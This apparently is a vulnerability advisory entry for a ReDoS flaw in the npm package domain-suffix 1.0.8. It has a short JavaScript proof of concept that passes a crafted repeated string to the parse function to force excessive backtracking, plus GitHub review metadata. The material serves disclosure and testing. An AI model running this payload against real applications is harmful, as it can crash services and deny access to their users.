RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
{
"severity": "HIGH",
"github_reviewed_at": "2024-08-29T18:02:23Z",
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"nvd_published_at": "2024-03-27T22:15:10Z"
}